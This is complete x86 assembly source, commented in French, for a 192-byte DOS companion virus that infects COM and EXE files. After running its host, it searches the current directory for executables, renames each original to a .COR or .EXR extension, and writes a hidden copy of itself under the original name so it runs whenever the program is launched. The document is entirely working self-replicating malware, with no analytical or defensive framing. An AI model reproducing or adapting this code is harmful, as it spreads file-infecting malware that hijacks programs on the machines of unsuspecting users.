; virus compagnon de 192 octets, infecteur de fichiers COM et EXE. org 0100H START: mov sp,OFFSET FINISH + 100H ; deplacement du sommet de la pile mov ah,4AH ; liberation de l'espace memoire mov bx,(OFFSET FINISH)/16 + 11H ; # de paragr. a garder int 21H mov bx,2CH ; ecriture du bloc de parametres mov ax,[bx] mov WORD PTR [PARAM_BLK],ax ; segment d'environnement du DOS mov ax,cs mov WORD PTR [PARAM_BLK+4],ax ; @ ligne de commande mov WORD PTR [PARAM_BLK+8],ax ; @ File Control Block 1 mov WORD PTR [PARAM_BLK+12],ax ; @ File Control Block 2 mov dx,OFFSET REAL_NAME ; preparation a l'execution mov bx,OFFSET PARAM_BLK mov ax,4B00H int 21H ; execution de l'hote cli mov bx,ax ; sauvegarde code retour mov ax,cs ; sauvegarde segment code mov ss,ax ; restauration de la pile mov sp,(FINISH - START) + 200H sti push bx mov ds,ax ; restauration du data segment mov es,ax ; restauration de l'extra segment mov ah,1AH ; specification adresse de la DTA mov dx,80H ; DTA a l'offset 80H int 21H call FIND_FILES ; recherche et infection fichiers pop ax ; sauvegarde adresse retour mov ah,4CH ; terminaison du programme int 21H ; fin du programme hote ; la routine suivante recherche et infecte les fichiers COM et EXE. FIND_FILES: mov dx,OFFSET COM_MASK ; recherche des fichiers COM call LOOK_UP mov dx,OFFSET EXE_MASK ; recherche des fichiers EXE call LOOK_UP ret LOOK_UP: mov ah,4EH ; search first xor cx,cx ; tous attributs FIND_LOOP: int 21H jc FIND_DONE ; saut si pas de fichiers call INFECT_FILE ; infection du fichier mov ah,4FH ; search next jmp FIND_LOOP ; recherche fichier suivant FIND_DONE: ret ; retour de l'appel COM_MASK db '*.com',0 ; masque de recherche fichiers COM EXE_MASK db '*.exe',0 ; masque de recherche fichiers EXE ; cette routine infecte les fichiers specifies dans la DTA INFECT_FILE: mov si,9EH ; DTA + 1EH mov di,OFFSET REAL_NAME ; DI pointe le nouveau nom INF_LOOP: lodsb ; charger un caractere stosb ; et le sauver dans le tampon or al,al ; Est-ce un NULL? jnz INF_LOOP ; si oui quitter la boucle mov WORD PTR [di-2],'R' ; modifier extension a COR ou EXR mov dx,9EH ; DTA + 1 EH mov di,OFFSET REAL_NAME mov ah,56H ; renommer le fichier d'origine int 21H jc INF_EXIT ; sortie si impossible mov ah,3CH ; creation de fichier mov cx,2 ; attribut fichier cache int 21H mov bx,ax ; file handle dans bx mov ah,40H ; ecriture du fichier mov cx,FINISH - START ; taille du virus dans cx mov dx,OFFSET START ; dx pointe debut du virus int 21H mov ah,3EH ; fermeture du fichier int 21H INF_EXIT: ret REAL_NAME db 13 dup (?) ; nom de l'hote a executer ; bloc de parametres de DOS EXEC PARAM_BLK dw ? ; segment d'environnement du DOS dd 80H ; @ ligne de commande dd 5CH ; @ File Control Block 1 dd 6CH ; @ File Control Block 2 FINISH: end START